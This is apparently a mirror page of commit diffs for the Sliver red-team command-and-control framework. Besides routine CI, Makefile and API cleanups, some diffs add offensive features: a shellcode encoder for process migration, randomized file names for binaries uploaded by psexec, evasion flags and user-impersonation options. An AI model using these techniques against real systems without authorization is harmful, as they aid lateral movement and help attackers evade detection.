mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-07 17:08:13 -10:00
Compare commits
132
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
77148d0d31 | ||
|
|
c7e77c8f8b | ||
|
|
5e6148b193 | ||
|
|
7b12e893a5 | ||
|
|
a619b59329 | ||
|
|
ead23d8bf6 | ||
|
|
7e6abd2211 | ||
|
|
4052093d57 | ||
|
|
a676cb328a | ||
|
|
1be1904c4d | ||
|
|
ead6b48b74 | ||
|
|
5d8ee38cb4 | ||
|
|
cef27f6511 | ||
|
|
dd91251710 | ||
|
|
d13e3fc61e | ||
|
|
cfb292d6d6 | ||
|
|
0e66a5643e | ||
|
|
5a7ee43120 | ||
|
|
8b7a66a595 | ||
|
|
f8ae372796 | ||
|
|
5908033ffd | ||
|
|
e083fa6db4 | ||
|
|
eb96269114 | ||
|
|
e9945d7cb4 | ||
|
|
c91740d2ac | ||
|
|
170c2bc462 | ||
|
|
ac56a98671 | ||
|
|
6c7814ce4f | ||
|
|
4adc9abd6a | ||
|
|
418b061c14 | ||
|
|
95ea7d8390 | ||
|
|
7f02c2ca96 | ||
|
|
430b5ffb79 | ||
|
|
e0c7779c6d | ||
|
|
aa31df6813 | ||
|
|
4146b382ff | ||
|
|
1e2e3caca0 | ||
|
|
40a9b74119 | ||
|
|
125a4ac0c4 | ||
|
|
84c56f3c4e | ||
|
|
14553f9a5a | ||
|
|
441038a508 | ||
|
|
4bf328edd9 | ||
|
|
f7d5d5f4c6 | ||
|
|
ea764705f1 | ||
|
|
0417fc16f6 | ||
|
|
901e9fd9e1 | ||
|
|
c5b3250d17 | ||
|
|
9f72364e54 | ||
|
|
184dde22ad | ||
|
|
0f5262ef87 | ||
|
|
bb8b7111b7 | ||
|
|
567e51ca46 | ||
|
|
05166e896f | ||
|
|
3cfe6435f3 | ||
|
|
48c65108d6 | ||
|
|
a271932c8a | ||
|
|
8c6fe18280 | ||
|
|
97dbae571c | ||
|
|
b5e629c4a6 | ||
|
|
30b1cb8a85 | ||
|
|
eb70ed2d0b | ||
|
|
53593be73f | ||
|
|
a144991ede | ||
|
|
0bb5ea506a | ||
|
|
d76e845bda | ||
|
|
47d1f0d66b | ||
|
|
bf1127f7f2 | ||
|
|
8b58648713 | ||
|
|
15b5b7c09b | ||
|
|
d7fcfe8760 | ||
|
|
88ca9cf905 | ||
|
|
c41fc309ad | ||
|
|
a8a36dd6e2 | ||
|
|
0a4dfccf25 | ||
|
|
20df965603 | ||
|
|
7b697ae5d1 | ||
|
|
ab5b319a9d | ||
|
|
fc18744280 | ||
|
|
8c5d55404c | ||
|
|
53c436b7dc | ||
|
|
3bf6ca5527 | ||
|
|
f5b8e3f23f | ||
|
|
3cb03537e5 | ||
|
|
85d23885ae | ||
|
|
6cad9d45d0 | ||
|
|
2810bebd07 | ||
|
|
cf0eb211e4 | ||
|
|
3668cd73fb | ||
|
|
69804ed3b9 | ||
|
|
2d376ce90b | ||
|
|
dbee28263b | ||
|
|
3160c8f31f | ||
|
|
84746926f0 | ||
|
|
020e18d0f8 | ||
|
|
ceca730e6b | ||
|
|
677a079132 | ||
|
|
971f44e4a1 | ||
|
|
d17b842d63 | ||
|
|
032e116a42 | ||
|
|
5cc548589f | ||
|
|
4047b42522 | ||
|
|
a2b039bb51 | ||
|
|
3c7fe8f1c6 | ||
|
|
a1d6d00a6a | ||
|
|
2481b9632f | ||
|
|
58e11d40fa | ||
|
|
196d42c8f1 | ||
|
|
3a4eee20a0 | ||
|
|
7714950206 | ||
|
|
bae0f479b8 | ||
|
|
fd090228e8 | ||
|
|
69dfe8c047 | ||
|
|
d8b9f7cbd6 | ||
|
|
4c6269ba5a | ||
|
|
c98d1e2c17 | ||
|
|
d582987c78 | ||
|
|
794db93ec9 | ||
|
|
338b622b97 | ||
|
|
4ecf42b5c2 | ||
|
|
7c5262d63d | ||
|
|
1a41eacb66 | ||
|
|
32e4ed63e9 | ||
|
|
e65629e089 | ||
|
|
0c14621e53 | ||
|
|
1fd850c738 | ||
|
|
0fab805980 | ||
|
|
dd9bb01640 | ||
|
|
0df56e5a95 | ||
|
|
e8a77d83ea | ||
|
|
98de546086 | ||
|
|
9e9ab2042f |
No files matched your search
@@ -5,4 +5,4 @@ queries:
|
||||
uses: security-extended
|
||||
paths:
|
||||
- server
|
||||
- implant
|
||||
- client
|
||||
@@ -3,7 +3,7 @@ name: Release
|
||||
on:
|
||||
push:
|
||||
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
|
||||
branches: [master, goreleaser]
|
||||
branches: [master]
|
||||
|
||||
jobs:
|
||||
linux-windows-build:
|
||||
@@ -15,7 +15,7 @@ jobs:
|
||||
- name: Go 1.19
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: "1.19.1"
|
||||
go-version: "^1.19"
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
|
||||
@@ -4,23 +4,22 @@ on:
|
||||
push:
|
||||
branches:
|
||||
- test/*
|
||||
# pull_request:
|
||||
# branches:
|
||||
# - master
|
||||
pull_request:
|
||||
branches:
|
||||
- master
|
||||
|
||||
jobs:
|
||||
CodeQL-Build:
|
||||
name: CodeQL Security Scan
|
||||
# CodeQL runs on ubuntu-latest, windows-latest, and macos-latest
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
timeout-minutes: 90
|
||||
|
||||
steps:
|
||||
# Setup go environment
|
||||
- name: Go 1.19
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: "1.19.1"
|
||||
go-version: "^1.19"
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v3
|
||||
@@ -37,23 +36,6 @@ jobs:
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
|
||||
- name: Protoc
|
||||
env:
|
||||
PROTOC_VER: 3.11.4
|
||||
run: |
|
||||
wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& sudo cp -vv ./bin/protoc /usr/local/bin/protoc
|
||||
|
||||
- name: Protoc-gen-go
|
||||
env:
|
||||
PROTOC_GEN_GO_VER: 1.3.5
|
||||
run: |
|
||||
wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
|
||||
&& tar xvf protoc-gen-go.tar.gz \
|
||||
&& cd protobuf-${PROTOC_GEN_GO_VER} \
|
||||
&& make install
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
|
||||
|
||||
@@ -1,8 +1,5 @@
|
||||
name: Build & Test
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- test/*
|
||||
pull_request:
|
||||
branches:
|
||||
- master
|
||||
@@ -21,7 +18,7 @@ jobs:
|
||||
- name: Go 1.19
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: "1.19.1"
|
||||
go-version: "^1.19"
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -55,7 +52,7 @@ jobs:
|
||||
- name: Go 1.19
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: "1.19.1"
|
||||
go-version: "^1.19"
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.19.1
|
||||
FROM golang:1.19.3
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
|
||||
@@ -47,6 +47,15 @@ LDFLAGS = -ldflags "-s -w \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
|
||||
# Debug builds can't be stripped (-s -w flags)
|
||||
LDFLAGS_DEBUG = -ldflags "-X $(VERSION_PKG).Version=$(VERSION) \
|
||||
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
|
||||
SED_INPLACE := sed -i
|
||||
STATIC_TARGET := linux
|
||||
@@ -99,6 +108,12 @@ ifeq ($(MAKECMDGOALS), linux)
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
endif
|
||||
|
||||
ifeq ($(MAKECMDGOALS), linux-arm64)
|
||||
# Redefine TAGS/ENV to use pure go sqlite3
|
||||
TAGS = -tags osusergo,netgo,gosqlite
|
||||
ENV = CGO_ENABLED=0
|
||||
endif
|
||||
|
||||
#
|
||||
# Targets
|
||||
#
|
||||
@@ -140,6 +155,11 @@ pb:
|
||||
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
|
||||
|
||||
.PHONY: debug
|
||||
debug: clean
|
||||
$(ENV) $(GO) build -mod=vendor $(TAGS),server $(LDFLAGS_DEBUG) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
$(ENV) $(GO) build -mod=vendor $(TAGS),client $(LDFLAGS_DEBUG) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
validate-go-version:
|
||||
@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
|
||||
exit 0 ;\
|
||||
|
||||
@@ -5,7 +5,7 @@ Sliver is an open source cross-platform adversary emulation/red team framework,
|
||||
|
||||
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
|
||||
|
||||
 [](https://goreportcard.com/report/github.com/BishopFox/sliver) [](https://www.gnu.org/licenses/gpl-3.0)
|
||||
[](https://goreportcard.com/report/github.com/BishopFox/sliver) [](https://www.gnu.org/licenses/gpl-3.0)
|
||||
|
||||
### Features
|
||||
|
||||
|
||||
@@ -22,7 +22,6 @@ import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
@@ -142,7 +141,7 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
|
||||
}
|
||||
|
||||
// parse it
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
data, err := os.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -303,7 +302,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
|
||||
isDLL = true
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -311,7 +310,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
outFilePath, err = os.CreateTemp("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
|
||||
@@ -0,0 +1,71 @@
|
||||
package builders
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// BuildersCmd - List external builders
|
||||
func BuildersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
if len(builders.Builders) == 0 {
|
||||
con.PrintInfof("No external builders connected to server\n")
|
||||
} else {
|
||||
PrintBuilders(builders.Builders, con)
|
||||
}
|
||||
}
|
||||
|
||||
func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name", "Operator", "Templates", "Platform", "Compiler Targets",
|
||||
})
|
||||
for _, builder := range externalBuilders {
|
||||
|
||||
targets := []string{}
|
||||
for _, target := range builder.Targets {
|
||||
targets = append(targets, fmt.Sprintf("%s:%s/%s", target.Format, target.GOOS, target.GOARCH))
|
||||
}
|
||||
|
||||
row := table.Row{
|
||||
builder.Name,
|
||||
builder.OperatorName,
|
||||
strings.Join(builder.Templates, ", "),
|
||||
fmt.Sprintf("%s/%s", builder.GOOS, builder.GOARCH),
|
||||
strings.Join(targets, "\n"),
|
||||
}
|
||||
tw.AppendRow(table.Row(row))
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -41,6 +41,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/armory"
|
||||
"github.com/bishopfox/sliver/client/command/backdoor"
|
||||
"github.com/bishopfox/sliver/client/command/beacons"
|
||||
"github.com/bishopfox/sliver/client/command/builders"
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/cursed"
|
||||
"github.com/bishopfox/sliver/client/command/dllhijack"
|
||||
@@ -1208,6 +1209,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
a.Uint("pid", "pid")
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("S", "disable-sgn", true, "disable shikata ga nai shellcode encoder")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
HelpGroup: consts.SliverWinHelpGroup,
|
||||
@@ -1321,8 +1324,10 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("a", "arch", "amd64", "cpu architecture")
|
||||
f.String("N", "name", "", "agent name")
|
||||
f.Bool("d", "debug", false, "enable debug features")
|
||||
f.Bool("e", "evasion", false, "enable evasion features")
|
||||
f.Bool("e", "evasion", false, "enable evasion features (e.g. overwrite user space hooks)")
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
f.String("I", "template", "sliver", "implant code template")
|
||||
f.Bool("E", "external-builder", false, "use an external builder")
|
||||
|
||||
f.String("c", "canary", "", "canary domain(s)")
|
||||
|
||||
@@ -1379,8 +1384,10 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("a", "arch", "amd64", "cpu architecture")
|
||||
f.String("N", "name", "", "agent name")
|
||||
f.Bool("d", "debug", false, "enable debug features")
|
||||
f.Bool("e", "evasion", false, "enable evasion features")
|
||||
f.Bool("e", "evasion", false, "enable evasion features (e.g. overwrite user space hooks)")
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
f.String("I", "template", "sliver", "implant code template")
|
||||
f.Bool("E", "external-builder", false, "use an external builder")
|
||||
|
||||
f.String("c", "canary", "", "canary domain(s)")
|
||||
|
||||
@@ -1550,6 +1557,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
|
||||
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
|
||||
|
||||
f.String("I", "template", "sliver", "implant code template")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
@@ -1614,6 +1623,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
|
||||
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
|
||||
|
||||
f.String("I", "template", "sliver", "implant code template")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
@@ -1954,6 +1965,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Bool("4", "ip4", true, "display information about IPv4 sockets")
|
||||
f.Bool("6", "ip6", false, "display information about IPv6 sockets")
|
||||
f.Bool("l", "listen", false, "display information about listening sockets")
|
||||
f.Bool("n", "numeric", false, "display numeric addresses (disable hostname resolution)")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
@@ -1972,6 +1984,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Bool("c", "print-cmdline", false, "print command line arguments")
|
||||
f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
|
||||
f.Int("S", "skip-pages", 0, "skip the first n page(s)")
|
||||
f.Bool("T", "tree", false, "print process tree")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -2034,9 +2047,14 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Run a new process in the context of the designated user (Windows Only)",
|
||||
LongHelp: help.GetHelpFor([]string{consts.RunAsStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("u", "username", "NT AUTHORITY\\SYSTEM", "user to impersonate")
|
||||
f.String("u", "username", "", "user to impersonate")
|
||||
f.String("p", "process", "", "process to start")
|
||||
f.String("a", "args", "", "arguments for the process")
|
||||
f.String("d", "domain", "", "domain of the user")
|
||||
f.String("P", "password", "", "password of the user")
|
||||
f.Bool("s", "show-window", false, `
|
||||
Log on, but use the specified credentials on the network only. The new process uses the same token as the caller, but the system creates a new logon session within LSA, and the process uses the specified credentials as the default credentials.`)
|
||||
f.Bool("n", "net-only", false, "use ")
|
||||
f.Int("t", "timeout", 30, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
@@ -2108,6 +2126,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("u", "username", "", "username of the user to impersonate")
|
||||
f.String("p", "password", "", "password of the user to impersonate")
|
||||
f.String("d", "domain", "", "domain of the user to impersonate")
|
||||
f.String("T", "logon-type", "LOGON_NEW_CREDENTIALS", "logon type to use")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
HelpGroup: consts.SliverWinHelpGroup,
|
||||
@@ -3550,4 +3569,22 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
})
|
||||
con.App.AddCommand(cursedCmd)
|
||||
|
||||
// [ Builders ] ---------------------------------------------
|
||||
buildersCmd := &grumble.Command{
|
||||
Name: consts.BuildersStr,
|
||||
Help: "List external builders",
|
||||
LongHelp: help.GetHelpFor([]string{consts.BuildersStr}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
builders.BuildersCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
}
|
||||
con.App.AddCommand(buildersCmd)
|
||||
}
|
||||
@@ -20,7 +20,7 @@ package exec
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
@@ -50,7 +50,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
return
|
||||
}
|
||||
}
|
||||
assemblyBytes, err := ioutil.ReadFile(assemblyPath)
|
||||
assemblyBytes, err := os.ReadFile(assemblyPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err.Error())
|
||||
return
|
||||
|
||||
@@ -23,7 +23,6 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
|
||||
@@ -52,7 +51,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
}
|
||||
pid := ctx.Flags.Uint("pid")
|
||||
shellcodePath := ctx.Args.String("filepath")
|
||||
shellcodeBin, err := ioutil.ReadFile(shellcodePath)
|
||||
shellcodeBin, err := os.ReadFile(shellcodePath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
@@ -82,7 +81,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
Data: shellcodeBin,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
oldSize := len(shellcodeBin)
|
||||
|
||||
@@ -18,7 +18,6 @@ package exec
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
@@ -242,7 +241,7 @@ func SaveExecutionOutput(executionOutput string, commandName string, hostName st
|
||||
|
||||
outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
|
||||
|
||||
outFilePath, err = ioutil.TempFile("", outFileName)
|
||||
outFilePath, err = os.CreateTemp("", outFileName)
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -3,14 +3,17 @@ package exec
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
@@ -33,12 +36,19 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
pid := ctx.Args.Uint("pid")
|
||||
config := con.GetActiveSessionConfig()
|
||||
encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
||||
if ctx.Flags.Bool("disable-sgn") {
|
||||
encoder = clientpb.ShellcodeEncoder_NONE
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
|
||||
|
||||
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
|
||||
Pid: uint32(pid),
|
||||
Config: config,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Encoder: encoder,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -21,17 +21,19 @@ package exec
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
insecureRand "math/rand"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
insecureRand "math/rand"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/codenames"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
@@ -93,7 +95,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
|
||||
} else {
|
||||
// use a custom exe instead of generating a new Sliver
|
||||
fileBytes, err := ioutil.ReadFile(customExe)
|
||||
fileBytes, err := os.ReadFile(customExe)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
|
||||
return
|
||||
@@ -101,7 +103,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
serviceBinary = fileBytes
|
||||
}
|
||||
|
||||
filename := randomString(10)
|
||||
filename := randomFileName()
|
||||
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
|
||||
uploadGzip := new(encoders.Gzip).Encode(serviceBinary)
|
||||
// upload to remote target
|
||||
@@ -172,11 +174,28 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Successfully removed service %s on %s\n", serviceName, hostname)
|
||||
}
|
||||
|
||||
func randomString(length int) string {
|
||||
var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||||
b := make([]byte, length)
|
||||
for i := range b {
|
||||
b[i] = charset[insecureRand.Intn(len(charset))]
|
||||
func randomFileName() string {
|
||||
noun, _ := codenames.RandomNoun()
|
||||
noun = strings.ToLower(noun)
|
||||
switch insecureRand.Intn(3) {
|
||||
case 0:
|
||||
noun = strings.ToUpper(noun)
|
||||
case 1:
|
||||
noun = strings.ToTitle(noun)
|
||||
}
|
||||
return string(b)
|
||||
|
||||
separators := []string{"", "", "", "", "", ".", "-", "_", "--", "__"}
|
||||
sep := separators[insecureRand.Intn(len(separators))]
|
||||
|
||||
alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
|
||||
prefix := ""
|
||||
for index := 0; index < insecureRand.Intn(3); index++ {
|
||||
prefix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
|
||||
}
|
||||
suffix := ""
|
||||
for index := 0; index < insecureRand.Intn(6)+1; index++ {
|
||||
suffix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
|
||||
}
|
||||
|
||||
return fmt.Sprintf("%s%s%s%s%s", prefix, sep, noun, sep, suffix)
|
||||
}
|
||||
@@ -21,7 +21,7 @@ package exec
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
@@ -45,7 +45,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
processName := ctx.Flags.String("process")
|
||||
args := strings.Join(ctx.Args.StringList("args"), " ")
|
||||
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err.Error())
|
||||
return
|
||||
|
||||
@@ -1,9 +1,27 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
